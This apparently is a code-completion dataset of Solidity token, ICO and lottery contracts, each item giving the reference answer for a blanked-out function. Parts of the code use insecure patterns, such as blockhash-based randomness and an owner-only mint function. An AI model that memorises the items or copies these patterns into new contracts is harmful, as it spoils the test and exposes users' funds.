minorPercent; uint256 toMajor = onePercent * majorPercent; uint256 toGrand = _amount - toMinor - toMajor; minorPot = minorPot + toMinor; majorPot = majorPot + toMajor; grandPot = grandPot + toGrand; } ////////////////////////////////////////////////////////////////// // READ FUNCTIONS ////////////////////////////////////////////////////////////////// function isWinSlot(uint256 _slotId, uint256 _keyNumber) public view returns(bool) { return (slot[_slotId - 1].wTo < _keyNumber) && (slot[_slotId].wTo >= _keyNumber); } function getWeightRange() public view returns(uint256) { return Helper.getWeightRange(grandPot, initGrandPot, curRWeight); } function getWinSlot(uint256 _keyNumber) public view returns(uint256) { // return 0 if not found uint256 _to = slot.length - 1; uint256 _from = round[curRoundId-1].slotSum + 1; // dummy slot ignore uint256 _pivot; //Slot memory _slot; uint256 _pivotWTo; // Binary search while (_from <= _to) { _pivot = (_from + _to) / 2; //_slot = round[_rId].slot[_pivot]; _pivotWTo = slot[_pivot].wTo; if (isWinSlot(_pivot, _keyNumber)) return _pivot; if (_pivotWTo < _keyNumber) { // in right side _from = _pivot + 1; } else { // in left side _to = _pivot - 1; } } return _pivot; // never happens or smt gone wrong } // Key Block in future function genEstKeyBlockNr(uint256 _endTime) public view returns(uint256) { if (block.timestamp >= _endTime) return block.number + 8; uint256 timeDist = _endTime - block.timestamp; uint256 estBlockDist = timeDist / BLOCK_TIME; return block.number + estBlockDist + 8; } // get block hash of first block with blocktime > _endTime function getSeed(uint256 _keyBlockNr) public view returns (uint256) { // Key Block not mined atm if (block.number <= _keyBlockNr) return block.number; return uint256(blockhash(_keyBlockNr)); } // current reward balance function getRewardBalance(address _buyer) public view returns(uint256) { return rewardBalance[_buyer]; } // GET endTime function getSlideEndTime(uint256 _rId) public view returns(uint256) { return(round[_rId].slideEndTime); } function getFixedEndTime(uint256 _rId) public view returns(uint256) { return(round[_rId].fixedEndTime); } function getTotalPot() public view returns(uint256) { return grandPot + majorPot + minorPot; } // EarlyIncome function getEarlyIncomeByAddress(address _buyer) public view returns(uint256) { uint256 _sum = earlyIncomeScannedSum[_buyer]; uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1 if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100; uint256 _rId = _fromRound; while (_rId <= curRoundId) { _sum = _sum + getEarlyIncomeByAddressRound(_buyer, _rId); _rId++; } return _sum; } // included claimed amount function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256) { uint256 _pWeight = round[_rId].pEarlyIncomeWeight[_buyer]; uint256 _ppw = round[_rId].ppw; uint256 _rCredit = round[_rId].pEarlyIncomeCredit[_buyer]; uint256 _rEarlyIncome = ((_ppw.mul(_pWeight)).sub(_rCredit)).div(ZOOM); return _rEarlyIncome; } function getCurEarlyIncomeByAddress(address _buyer) public view returns(uint256) { uint256 _sum = 0; uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1 if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100; uint256 _rId = _fromRound; while (_rId <= curRoundId) { _sum = _sum.add(getCurEarlyIncomeByAddressRound(_buyer, _rId)); _rId++; } return _sum; } function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId) public view returns(uint256) { uint256 _rEarlyIncome = getEarlyIncomeByAddressRound(_buyer, _rId); return _rEarlyIncome.sub(round[_rId].pEarlyIncomeClaimed[_buyer]); } //////////////////////////////////////////////////////////////////// function getEstKeyBlockNr(uint256 _rId) public view returns(uint256) { return round[_rId].keyBlockNr; } function getKeyBlockNr(uint256 _estKeyBlockNr) public view returns(uint256) { require(block.number > _estKeyBlockNr, "blockHash not avaiable"); uint256 jump = (block.number - _estKeyBlockNr) / MAX_BLOCK_DISTANCE * MAX_BLOCK_DISTANCE; return _estKeyBlockNr + jump; } // Logs function getCurRoundId() public view returns(uint256) { return curRoundId; } function getTPrice() public view returns(uint256) { return Helper.getTPrice(curRTicketSum); } function getTMul() public view returns(uint256) { return Helper.getTMul(curRTicketSum); } function getPMul() public view returns(uint256) { return Helper.getEarlyIncomeMul(curRTicketSum); } function getPTicketSumByRound(uint256 _rId, address _buyer) public view returns(uint256) { return round[_rId].pTicketSum[_buyer]; } function getTicketSumToRound(uint256 _rId) public view returns(uint256) { return round[_rId].ticketSum; } function getPInvestedSumByRound(uint256 _rId, address _buyer) public view returns(uint256) { return round[_rId].pInvestedSum[_buyer]; } function getInvestedSumToRound(uint256 _rId) public view returns(uint256) { return round[_rId].investedSum; } function getPSlotLength(address _sender) public view returns(uint256) { return pSlot[_sender].length; } function getSlotLength() public view returns(uint256) { return slot.length; } function getSlotId(address _sender, uint256 i) public view returns(uint256) { return pSlot[_sender][i]; } function getSlotInfo(uint256 _slotId) public view returns(address, uint256[4], string) { Slot memory _slot = slot[_slotId]; return (_slot.buyer,[_slot.rId, _slot.tNumberFrom, _slot.tNumberTo, _slot.ethAmount], Helper.uintToString(_slot.salt)); } function cashoutable(address _address) public view returns(bool) { // need 1 ticket or in waiting time to start new round return (round[curRoundId].pTicketSum[_address] > 0) || (round[curRoundId].startTime > block.timestamp); } // set endRound, prepare to upgrade new version function setLastRound(uint256 _lastRoundId) public onlyDevTeam() { require(_lastRoundId >= 18 && _lastRoundId > curRoundId, "too early to end"); require(lastRoundId == 88888888, "already set"); lastRoundId = _lastRoundId; } }
round[curRoundId].ticketSum = round[curRoundId].ticketSum + _tAmount; round[curRoundId].pTicketSum[_buyer] = round[curRoundId].pTicketSum[_buyer] + _tAmount; curRTicketSum = curRTicketSum + _tAmount; pTicketSum[_buyer] = pTicketSum[_buyer] + _tAmount;
function updateTicketSum(address _buyer, uint256 _tAmount) private
function updateTicketSum(address _buyer, uint256 _tAmount) private
74658
SANTOQ
transfer
contract SANTOQ is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "SANTOQ"; string public constant symbol = "SNQ"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 30000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 6500e8; uint public target0drop = 100; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x45518A73F4659D292921e98f5A889947791A85cD; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 25000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 15 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 10 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 0e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract SANTOQ is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "SANTOQ"; string public constant symbol = "SNQ"; uint public constant decimals = 8; uint public deadline = now + 37 * 1 days; uint public round2 = now + 32 * 1 days; uint public round1 = now + 22 * 1 days; uint256 public totalSupply = 30000000e8; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 6500e8; uint public target0drop = 100; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x45518A73F4659D292921e98f5A889947791A85cD; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 25000000e8; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 10 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 15 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 5 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 10 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 0e8; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true;
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
85070
ECOSYSTEM_FINANCE
null
contract ECOSYSTEM_FINANCE is StandardToken, Ownable { string public constant name = "ECOSYSTEM.FINANCE"; string public constant symbol = "$COYFI"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 28000 * (10 ** uint256(decimals)); // Constructors constructor () public {<FILL_FUNCTION_BODY> } function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, _extraData); return true; } } function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).transfer(_to, _amount); } }
contract ECOSYSTEM_FINANCE is StandardToken, Ownable { string public constant name = "ECOSYSTEM.FINANCE"; string public constant symbol = "$COYFI"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 28000 * (10 ** uint256(decimals)); <FILL_FUNCTION> function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, _extraData); return true; } } function transferAnyERC20Token(address _tokenAddress, address _to, uint _amount) public onlyOwner { ERC20(_tokenAddress).transfer(_to, _amount); } }
totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner emit Transfer(address(0), msg.sender, initialSupply);
constructor () public
// Constructors constructor () public
38879
DIVXToken
createTokens
contract DIVXToken is StandardToken, SafeMath { // metadata string public constant name = "Divi Exchange Token"; string public constant symbol = "DIVX"; uint256 public constant decimals = 18; string public version = "1.0"; // owner address address public fundDeposit; // deposit address for ETH and DIVX for the project // crowdsale parameters bool public isPaused; bool public isRedeeming; uint256 public fundingStartBlock; uint256 public firstXRChangeBlock; uint256 public secondXRChangeBlock; uint256 public thirdXRChangeBlock; uint256 public fundingEndBlock; // Since we have different exchange rates at different stages, we need to keep track // of how much ether (in units of Wei) each address contributed in case that we need // to issue a refund mapping (address => uint256) private weiBalances; // We need to keep track of how much ether (in units of Wei) has been contributed uint256 public totalReceivedWei; uint256 public constant privateExchangeRate = 1000; // 1000 DIVX tokens per 1 ETH uint256 public constant firstExchangeRate = 650; // 650 DIVX tokens per 1 ETH uint256 public constant secondExchangeRate = 575; // 575 DIVX tokens per 1 ETH uint256 public constant thirdExchangeRate = 500; // 500 DIVX tokens per 1 ETH uint256 public constant receivedWeiCap = 100 * (10**3) * 10**decimals; uint256 public constant receivedWeiMin = 5 * (10**3) * 10**decimals; // events event LogCreate(address indexed _to, uint256 _value, uint256 _tokenValue); event LogRefund(address indexed _to, uint256 _value, uint256 _tokenValue); event LogRedeem(address indexed _to, uint256 _value, bytes32 _diviAddress); // modifiers modifier onlyOwner() { require(msg.sender == fundDeposit); _; } modifier isNotPaused() { require(isPaused == false); _; } // constructor function DIVXToken( address _fundDeposit, uint256 _fundingStartBlock, uint256 _firstXRChangeBlock, uint256 _secondXRChangeBlock, uint256 _thirdXRChangeBlock, uint256 _fundingEndBlock) { isPaused = false; isRedeeming = false; totalSupply = 0; totalReceivedWei = 0; fundDeposit = _fundDeposit; fundingStartBlock = _fundingStartBlock; firstXRChangeBlock = _firstXRChangeBlock; secondXRChangeBlock = _secondXRChangeBlock; thirdXRChangeBlock = _thirdXRChangeBlock; fundingEndBlock = _fundingEndBlock; } // overriden methods // Overridden method to check that the minimum was reached (no refund is possible // after that, so transfer of tokens shouldn't be a problem) function transfer(address _to, uint256 _value) returns (bool success) { require(totalReceivedWei >= receivedWeiMin); return super.transfer(_to, _value); } // Overridden method to check that the minimum was reached (no refund is possible // after that, so transfer of tokens shouldn't be a problem) function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(totalReceivedWei >= receivedWeiMin); return super.transferFrom(_from, _to, _value); } /// @dev Accepts ether and creates new DIVX tokens. function createTokens() payable external isNotPaused {<FILL_FUNCTION_BODY> } /// @dev Allows to transfer ether from the contract to the multisig wallet function withdrawWei(uint256 _value) external onlyOwner isNotPaused { require(_value <= this.balance); // Allow withdrawal during the private sale, but after that, only allow // withdrawal if we already met the minimum require((block.number < firstXRChangeBlock) || (totalReceivedWei >= receivedWeiMin)); // send the eth to the project multisig wallet fundDeposit.transfer(_value); } /// @dev Pauses the contract function pause() external onlyOwner isNotPaused { // Move the contract to Paused state isPaused = true; } /// @dev Resume the contract function resume() external onlyOwner { // Move the contract out of the Paused state isPaused = false; } /// @dev Starts the redeeming phase of the contract function startRedeeming() external onlyOwner isNotPaused { // Move the contract to Redeeming state isRedeeming = true; } /// @dev Stops the redeeming phase of the contract function stopRedeeming() external onlyOwner isNotPaused { // Move the contract out of the Redeeming state isRedeeming = false; } /// @dev Allows contributors to recover their ether in the case of a failed funding campaign function refund() external { // prevents refund until sale period is over require(block.number > fundingEndBlock); // Refunds are only available if the minimum was not reached require(totalReceivedWei < receivedWeiMin); // Retrieve how much DIVX (in units of Wei) this account has uint256 divxVal = balances[msg.sender]; require(divxVal > 0); // Retrieve how much ETH (in units of Wei) this account contributed uint256 weiVal = weiBalances[msg.sender]; require(weiVal > 0); // Destroy this contributor's tokens and reduce the total supply balances[msg.sender] = 0; totalSupply = safeSubtract(totalSupply, divxVal); // Log this refund operation LogRefund(msg.sender, weiVal, divxVal); // Send the money back msg.sender.transfer(weiVal); } /// @dev Redeems tokens and records the address that the sender created in the new blockchain function redeem(bytes32 diviAddress) external { // Only allow this function to be called when on the redeeming state require(isRedeeming); // Retrieve how much DIVX (in units of Wei) this account has uint256 divxVal = balances[msg.sender]; require(divxVal > 0); // Move the tokens of the caller to the project's address assert(super.transfer(fundDeposit, divxVal)); // Log the redeeming of this tokens LogRedeem(msg.sender, divxVal, diviAddress); } /// @dev Returns the current token price function getCurrentTokenPrice() private constant returns (uint256 currentPrice) { if (block.number < firstXRChangeBlock) { return privateExchangeRate; } else if (block.number < secondXRChangeBlock) { return firstExchangeRate; } else if (block.number < thirdXRChangeBlock) { return secondExchangeRate; } else { return thirdExchangeRate; } } }
contract DIVXToken is StandardToken, SafeMath { // metadata string public constant name = "Divi Exchange Token"; string public constant symbol = "DIVX"; uint256 public constant decimals = 18; string public version = "1.0"; // owner address address public fundDeposit; // deposit address for ETH and DIVX for the project // crowdsale parameters bool public isPaused; bool public isRedeeming; uint256 public fundingStartBlock; uint256 public firstXRChangeBlock; uint256 public secondXRChangeBlock; uint256 public thirdXRChangeBlock; uint256 public fundingEndBlock; // Since we have different exchange rates at different stages, we need to keep track // of how much ether (in units of Wei) each address contributed in case that we need // to issue a refund mapping (address => uint256) private weiBalances; // We need to keep track of how much ether (in units of Wei) has been contributed uint256 public totalReceivedWei; uint256 public constant privateExchangeRate = 1000; // 1000 DIVX tokens per 1 ETH uint256 public constant firstExchangeRate = 650; // 650 DIVX tokens per 1 ETH uint256 public constant secondExchangeRate = 575; // 575 DIVX tokens per 1 ETH uint256 public constant thirdExchangeRate = 500; // 500 DIVX tokens per 1 ETH uint256 public constant receivedWeiCap = 100 * (10**3) * 10**decimals; uint256 public constant receivedWeiMin = 5 * (10**3) * 10**decimals; // events event LogCreate(address indexed _to, uint256 _value, uint256 _tokenValue); event LogRefund(address indexed _to, uint256 _value, uint256 _tokenValue); event LogRedeem(address indexed _to, uint256 _value, bytes32 _diviAddress); // modifiers modifier onlyOwner() { require(msg.sender == fundDeposit); _; } modifier isNotPaused() { require(isPaused == false); _; } // constructor function DIVXToken( address _fundDeposit, uint256 _fundingStartBlock, uint256 _firstXRChangeBlock, uint256 _secondXRChangeBlock, uint256 _thirdXRChangeBlock, uint256 _fundingEndBlock) { isPaused = false; isRedeeming = false; totalSupply = 0; totalReceivedWei = 0; fundDeposit = _fundDeposit; fundingStartBlock = _fundingStartBlock; firstXRChangeBlock = _firstXRChangeBlock; secondXRChangeBlock = _secondXRChangeBlock; thirdXRChangeBlock = _thirdXRChangeBlock; fundingEndBlock = _fundingEndBlock; } // overriden methods // Overridden method to check that the minimum was reached (no refund is possible // after that, so transfer of tokens shouldn't be a problem) function transfer(address _to, uint256 _value) returns (bool success) { require(totalReceivedWei >= receivedWeiMin); return super.transfer(_to, _value); } // Overridden method to check that the minimum was reached (no refund is possible // after that, so transfer of tokens shouldn't be a problem) function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(totalReceivedWei >= receivedWeiMin); return super.transferFrom(_from, _to, _value); } <FILL_FUNCTION> /// @dev Allows to transfer ether from the contract to the multisig wallet function withdrawWei(uint256 _value) external onlyOwner isNotPaused { require(_value <= this.balance); // Allow withdrawal during the private sale, but after that, only allow // withdrawal if we already met the minimum require((block.number < firstXRChangeBlock) || (totalReceivedWei >= receivedWeiMin)); // send the eth to the project multisig wallet fundDeposit.transfer(_value); } /// @dev Pauses the contract function pause() external onlyOwner isNotPaused { // Move the contract to Paused state isPaused = true; } /// @dev Resume the contract function resume() external onlyOwner { // Move the contract out of the Paused state isPaused = false; } /// @dev Starts the redeeming phase of the contract function startRedeeming() external onlyOwner isNotPaused { // Move the contract to Redeeming state isRedeeming = true; } /// @dev Stops the redeeming phase of the contract function stopRedeeming() external onlyOwner isNotPaused { // Move the contract out of the Redeeming state isRedeeming = false; } /// @dev Allows contributors to recover their ether in the case of a failed funding campaign function refund() external { // prevents refund until sale period is over require(block.number > fundingEndBlock); // Refunds are only available if the minimum was not reached require(totalReceivedWei < receivedWeiMin); // Retrieve how much DIVX (in units of Wei) this account has uint256 divxVal = balances[msg.sender]; require(divxVal > 0); // Retrieve how much ETH (in units of Wei) this account contributed uint256 weiVal = weiBalances[msg.sender]; require(weiVal > 0); // Destroy this contributor's tokens and reduce the total supply balances[msg.sender] = 0; totalSupply = safeSubtract(totalSupply, divxVal); // Log this refund operation LogRefund(msg.sender, weiVal, divxVal); // Send the money back msg.sender.transfer(weiVal); } /// @dev Redeems tokens and records the address that the sender created in the new blockchain function redeem(bytes32 diviAddress) external { // Only allow this function to be called when on the redeeming state require(isRedeeming); // Retrieve how much DIVX (in units of Wei) this account has uint256 divxVal = balances[msg.sender]; require(divxVal > 0); // Move the tokens of the caller to the project's address assert(super.transfer(fundDeposit, divxVal)); // Log the redeeming of this tokens LogRedeem(msg.sender, divxVal, diviAddress); } /// @dev Returns the current token price function getCurrentTokenPrice() private constant returns (uint256 currentPrice) { if (block.number < firstXRChangeBlock) { return privateExchangeRate; } else if (block.number < secondXRChangeBlock) { return firstExchangeRate; } else if (block.number < thirdXRChangeBlock) { return secondExchangeRate; } else { return thirdExchangeRate; } } }
require(block.number >= fundingStartBlock); require(block.number <= fundingEndBlock); require(msg.value > 0); // Check that this transaction wouldn't exceed the ETH cap uint256 checkedReceivedWei = safeAdd(totalReceivedWei, msg.value); require(checkedReceivedWei <= receivedWeiCap); // Calculate how many tokens (in units of Wei) should be awarded // on this transaction uint256 tokens = safeMult(msg.value, getCurrentTokenPrice()); // Calculate how many tokens (in units of Wei) should be awarded to the project (20%) uint256 projectTokens = safeDiv(tokens, 5); // Increment the total received ETH totalReceivedWei = checkedReceivedWei; // Only update our accounting of how much ETH this contributor has sent us if // we're already on the public sale (since private sale contributions are going // to be used before the end of end of the sale period, they don't get a refund) if (block.number >= firstXRChangeBlock) weiBalances[msg.sender] += msg.value; // Increment the total supply of tokens and then deposit the tokens // to the contributor totalSupply = safeAdd(totalSupply, tokens); balances[msg.sender] += tokens; // Increment the total supply of tokens and then deposit the tokens // to the project totalSupply = safeAdd(totalSupply, projectTokens); balances[fundDeposit] += projectTokens; LogCreate(msg.sender, msg.value, tokens); // logs token creation
function createTokens() payable external isNotPaused
/// @dev Accepts ether and creates new DIVX tokens. function createTokens() payable external isNotPaused
61616
HolidayCoin
HolidayCoin
contract HolidayCoin is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function HolidayCoin() {<FILL_FUNCTION_BODY> } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet 